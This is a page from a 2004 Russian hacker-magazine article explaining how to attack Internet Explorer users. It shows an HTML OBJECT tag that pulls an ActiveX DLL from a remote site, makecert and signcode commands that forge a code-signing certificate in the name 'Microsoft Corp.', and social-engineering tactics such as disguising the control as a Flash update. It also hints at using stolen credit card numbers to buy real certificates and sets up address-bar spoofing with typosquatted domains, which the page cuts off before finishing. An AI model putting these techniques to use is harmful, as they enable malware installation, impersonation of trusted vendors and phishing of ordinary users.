Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

Чиним зло через Internet Explorer

Петр Каньковски

Спецвыпуск: Хакер, номер #048, стр. 048-014-2


<OBJECT CLASSID="CLSID:0499388E-3A64-11D0-BFAB-080000185165"

codebase="http://www.xakepsite.ru/MyDLL.dll">

Числа после CLSID можно ставить случайные, главное, чтобы они не совпадали с идентификаторами стандартных контролов (а чисел настолько много, что этого не произойдет никогда). Открываем страничку и видим... Нет, скорее всего, ничего не видим, потому что неподписанные контролы по умолчанию отключаются. Вернее, на данном этапе нашего большого пути эффект (в виде сообщения «hacked!») от этого зла появится, только если будет установлен низкий уровень безопасности, а в codebase прописан локальный адрес DLL. Но перед этим IE покажет противное окно-уведомление о том, что контрол не подписан. Как этого избежать? Существует уязвимость электронных подписей (см. ссылку во врезке), которую теоретически можно использовать для запуска неподписанных Active-X, однако ни одного публичного эксплоита для этой уязвимости нам найти не удалось. И тогда настал черед поддельных подписей и социальной инженерии...

Электронные подписи

Любой человек без особого напряжения может получить свою личную электронную подпись. Для этого нужно взять валидный номер кредитки (не будем говорить, где его можно найти), заплатить $20 компании VeriSign (http://www.verisign.com) - и подписывай контролы сколько душе угодно. Как это ни странно, проверять написанные тобой программы никто не будет, как не найдется и желающих уточнить твое имя и фамилию. Процедура получения электронного сертификата во многом формальна, и подпись, по сути, не подтверждает безопасности Active-X контрола.

Разумеется, я ничем подобным не занимаюсь и потому для иллюстрации решил создать тестовый сертификат утилитой makecert из Active-X SDK. Самое забавное в ней то, что можно указать любое имя, например, название известной корпорации:

makecert -u:secret123 -n:CN="Microsoft Corp." cert.cer

cert2spc root.cer cert.cer cert.spc

signcode -prog MyDll.dll -spc cert.spc -pvk secret123

В результате библиотека наша увеличится до 3,8 Кб, а при открытии web-страницы будет появляться такое окошко:

Довольно похоже на обычную цифровую подпись, не так ли? А если на английском, то добрая половина чайников вообще ничего не поймет. Эффект усилится, если перед загрузкой своего Active-X предложить пользователю скачать новую версию Flash для просмотра симпатичного мультика. Второй раз он, не особенно вчитываясь в текст предупреждения, нажмет на Yes, предвкушая новую порцию анимации.

Разумеется, надеяться на то, что наша жертва будет такой слабоумной, нам не приходится, поэтому есть способ обмануть и менее доверчивых пользователей.

Клонируем известный сайт

Одна из уязвимостей в IE позволяет подменить текст, отображаемый в адресной строке. Несмотря на то что патч вышел еще в феврале этого года, большинство систем почему-то до сих пор подвержено этой ошибке. Сценарий атаки таков. Есть какой-то известный сайт, например, www.britney.com. Кибер-сквоттер покупает доменные имена www.brinty.com и www.brinti.com. На них он ставит такой редирект:

Назад на стр. 048-014-1  Содержание  Вперед на стр. 048-014-3